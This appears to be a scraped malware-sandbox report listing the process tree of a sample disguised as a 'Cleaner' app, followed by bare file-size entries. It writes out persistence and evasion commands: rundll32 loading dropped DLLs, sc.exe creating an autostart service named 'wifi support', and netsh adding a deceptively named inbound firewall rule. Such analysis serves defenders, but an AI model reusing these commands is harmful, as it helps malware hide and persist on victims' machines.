C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=gpu-process --field-trial-handle=1644,5207099725463951158,5366035766597640238,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6156_1229626373" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1660 /prefetch:25⤵
-
-
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1644,5207099725463951158,5366035766597640238,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6156_1229626373" --mojo-platform-channel-handle=3216 /prefetch:85⤵
-
-
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=gpu-process --field-trial-handle=1644,5207099725463951158,5366035766597640238,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6156_1229626373" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3220 /prefetch:25⤵
-
-
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1644,5207099725463951158,5366035766597640238,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6156_1229626373" --mojo-platform-channel-handle=3752 /prefetch:85⤵
-
-
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1644,5207099725463951158,5366035766597640238,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6156_1229626373" --mojo-platform-channel-handle=1620 /prefetch:85⤵
-
-
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1644,5207099725463951158,5366035766597640238,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6156_1229626373" --mojo-platform-channel-handle=1860 /prefetch:85⤵
-
-
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1644,5207099725463951158,5366035766597640238,131072 --lang=de --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6156_1229626373" --mojo-platform-channel-handle=1944 /prefetch:85⤵
-
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -NoLogo -ExecutionPolicy AllSigned -Command "C:\Users\Admin\AppData\Local\Temp\AI_1DB9.ps1 -paths 'C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\file_deleter.ps1','C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\aipackagechainer.exe','C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites' -retry_count 10"3⤵
-
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
-
-
C:\Windows\system32\rUNdlL32.eXerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Modifies system certificate store
-
C:\Windows\SysWOW64\rundll32.exerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main2⤵
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s DeviceInstall1⤵
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{1d670ef3-14e7-4f4c-b729-624598de9674}\oemvista.inf" "9" "4d14a44ff" "0000000000000168" "WinSta0\Default" "0000000000000164" "208" "c:\program files (x86)\maskvpn\driver\win764"2⤵
-
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oemvista.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "0000000000000160"2⤵
-
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s DsmSvc1⤵
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc1⤵
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe"1⤵
-
C:\Program Files (x86)\MaskVPN\MaskVPNUpdate.exeMaskVPNUpdate.exe /silent2⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe"C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe" /update1⤵
-
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exeC:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe /update /peruser /childprocess2⤵
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
-
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s seclogon1⤵
-
C:\Users\Admin\AppData\Local\Temp\53C6.exeC:\Users\Admin\AppData\Local\Temp\53C6.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\53C6.exeC:\Users\Admin\AppData\Local\Temp\53C6.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\86BE.exeC:\Users\Admin\AppData\Local\Temp\86BE.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\86BE.exeC:\Users\Admin\AppData\Local\Temp\86BE.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\BE59.exeC:\Users\Admin\AppData\Local\Temp\BE59.exe1⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\qhuipcfg\2⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ybzuovfp.exe" C:\Windows\SysWOW64\qhuipcfg\2⤵
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" create qhuipcfg binPath= "C:\Windows\SysWOW64\qhuipcfg\ybzuovfp.exe /d\"C:\Users\Admin\AppData\Local\Temp\BE59.exe\"" type= own start= auto DisplayName= "wifi support"2⤵
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" description qhuipcfg "wifi internet conection"2⤵
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" start qhuipcfg2⤵
-
-
C:\Users\Admin\pfffulrj.exe"C:\Users\Admin\pfffulrj.exe" /d"C:\Users\Admin\AppData\Local\Temp\BE59.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\jylhtslx.exe" C:\Windows\SysWOW64\qhuipcfg\3⤵
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" config qhuipcfg binPath= "C:\Windows\SysWOW64\qhuipcfg\jylhtslx.exe /d\"C:\Users\Admin\pfffulrj.exe\""3⤵
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" start qhuipcfg3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7238.bat" "3⤵
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul3⤵
-
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\D8A9.exeC:\Users\Admin\AppData\Local\Temp\D8A9.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\2207.exeC:\Users\Admin\AppData\Local\Temp\2207.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\5712.exeC:\Users\Admin\AppData\Local\Temp\5712.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\B36C.exeC:\Users\Admin\AppData\Local\Temp\B36C.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\DE17.exeC:\Users\Admin\AppData\Local\Temp\DE17.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\FD58.exeC:\Users\Admin\AppData\Local\Temp\FD58.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\FD58.exeC:\Users\Admin\AppData\Local\Temp\FD58.exe2⤵
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
80KB
-
Filesize
124KB
-
Filesize
8KB
-
Filesize
4KB
-
Filesize
120KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
1.3MB
-
Filesize
39.4MB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
836KB
-
Filesize
39.8MB
-
Filesize
4KB
-
Filesize
8KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
112KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
8KB
-
Filesize
4KB
-
Filesize
288KB
-
Filesize
39.4MB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
464KB
-
Filesize
436KB
-
Filesize
8KB
-
Filesize
44KB
-
Filesize
4KB
-
Filesize
8KB
-
Filesize
4KB
-
Filesize
8KB
-
Filesize
504KB
-
Filesize
84KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
8KB
-
Filesize
39.4MB
-
Filesize
696KB
-
Filesize
120KB
-
Filesize
124KB
-
Filesize
4KB
-
Filesize
188KB
-
Filesize
39.4MB
-
Filesize
39.4MB
-
Filesize
36KB
-
Filesize
572KB
-
Filesize
100KB
-
Filesize
152KB
-
Filesize
100KB
-
Filesize
1.5MB
-
Filesize
100KB
-
Filesize
100KB
-
Filesize
4KB
-
Filesize
8KB
-
Filesize
8KB
-
Filesize
4KB
-
Filesize
112KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
8KB
-
Filesize
80KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
240KB
-
Filesize
308KB
-
Filesize
464KB
-
Filesize
4KB
-
Filesize
1.0MB
-
Filesize
380KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
80KB